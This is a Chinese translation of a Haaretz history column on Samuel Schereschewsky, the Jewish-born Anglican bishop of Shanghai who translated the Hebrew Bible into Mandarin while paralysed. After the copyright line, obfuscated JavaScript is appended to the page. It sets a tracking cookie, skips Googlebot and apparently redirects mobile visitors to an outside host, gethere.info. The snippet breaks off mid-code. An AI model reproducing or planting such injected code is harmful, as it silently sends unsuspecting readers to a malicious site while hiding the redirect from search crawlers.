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1906年的這一天,上海聖公會主教施約瑟安息主懷

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1906年的這一天,上海聖公會主教施約瑟安息主懷
這位來自立陶宛的猶太人,信主後遠赴東方服事,當他全身癱瘓時,把聖經翻譯成國語。



施約瑟


1906年10月15日,施約瑟(Samuel Isaac Joseph Schereschewsky)久病不癒後,在東京安息主懷,享年75歲。施約瑟是猶太人,在拉比學校受教育,曾擔任上海聖公會主教。他叫人感興趣的除了是他怎樣歸信基督教、之後成為教會職員、繼而遠赴東方服事之外,最為人追憶的就是他的一些翻譯著作,當中最備受推崇的是他把希伯來聖經翻譯成國語,成為二十世紀的標準譯本。

1831年5月6日,施約瑟出生在當時俄羅斯帝國陶拉格(Tauroggen)一個猶太人聚居的小鎮,這地方位於現今立陶宛的西南部。他父母都是猶太人,母親名Rosa Salvatha,屬西法拉系猶太人(Sephardi-Jews),父親名Samuel Joseph Schereschewsky,雙親在他年幼時已經離世。他有一位同父異母的兄長,是父親第一段婚姻所生的,這位兄長年紀比他大很多,從事木材生意,很明顯是這位兄長把他撫養成人。

十五歲那年,施約瑟離開兄長到外面發展,當過玻璃安裝工人及希伯來文導師,之後入讀烏克蘭治托米亞(Zhytomir)的拉比學校。這所學校不是傳統的猶太學校,而是官方的認可機構。學校內許多老師都奉行哈斯卡拉(Haskalah;猶太啟蒙運動)的信條。

愛探究的思想


歷史學家伊愛蓮(Irene Eber)研究施約瑟的生平,在她的著作《猶太主教與中文聖經》(暫譯)(The Jewish Bishop and the Chinese Bible)內解釋說,那時候「倫敦猶太人佈道會」﹝The London Society for Promoting Christianity Amongst the Jews;即後來的「教會關懷猶太人使團(CMJ)」的傳教士前往地區村落,派發希伯來聖經、意第緒文及希伯來文的新約聖經。伊愛蓮說當時的猶太人都受到猶太啟蒙運動的影響,思想開放,充滿探究精神,許多猶太人都熱切地接受這些書籍,當中有不少猶太人歸信了基督教。

施約瑟就是其中一位,他有沒有直接跟傳教士接觸我們無從得知,只知道他閱讀新約聖經後,從中得到啟示。

施約瑟繼續留在治托米亞多年接受栽培為拉比,其後前往德國的法蘭克福大學及布雷斯勞(Breslau)大學研究基督教。經過一段時間後,1854年前往美國。

1855年,施約瑟在美國受浸。幾年間,由浸信會到長老會再到聖公會教徒(Episcoalian),也就是當時在美國的聖公會。
在聖公會神學院聯會(General Theological Seminary Union)修讀兩年後,在1858至1859年間,他決定獻身傳道。於1859年7月7日,他被按立為會吏,一星期後乘船往東方。一年後,在中國被按立為牧師。據說他在乘坐那艘「金科玉律號」(Golden Rule)的大帆船上才開始學習中文。

把拉比的知識帶給中國


施約瑟頭十年住在北京,開始了他的翻譯工作,除了希伯來聖經和新約聖經,他還把聖公會公禱書翻譯成國語。伊愛蓮發現施約瑟接受過的猶太教育對他翻譯舊約聖經大有幫助。他不但翻譯希伯來原文,他的翻譯還承載著拉比和米大示文獻的知識,所以他的譯本「可算是惟一一本中文舊約聖經兼備傳統猶太文本以及猶太傳統釋經的元素」。

1877年,施約瑟受委任為上海聖公會主教。1879年,他成立聖約翰書院(St John’s College),這所書院其後升格為大學,持續運作到1952年。

施約瑟在名義上擔任主教直到1884年。1881年,他因中風(據說是中暑所致)而四肢癱瘓,其後移居東京,直至離世。他在東京繼續翻譯工作,克服一般人無法忍受的困境。傳教士及作家海思波(Marshall Broomhall)形容「施約瑟當時已經四肢癱瘓,失去部分說話能力,坐在同一張椅子上差不多二十五年,緩慢且艱辛地用兩隻手指在打字機打出舊約聖經的國語翻譯及淺白文理的整本聖經翻譯。」

耿大衛(David B. Green),《國土報》(Haaretz)投稿人
劉美鳳譯


《國土報》專欄〈猶太歷史之這一天〉(Haaretz, “This Day in Jewish History”;2015年10月15日)
英文原文上載於 http://www.haaretz.com/israel-news/this-day-in-jewish-history/1.680188
版權屬Haaretz所有,蒙授權翻譯並上載到夏達華研道中心網址。var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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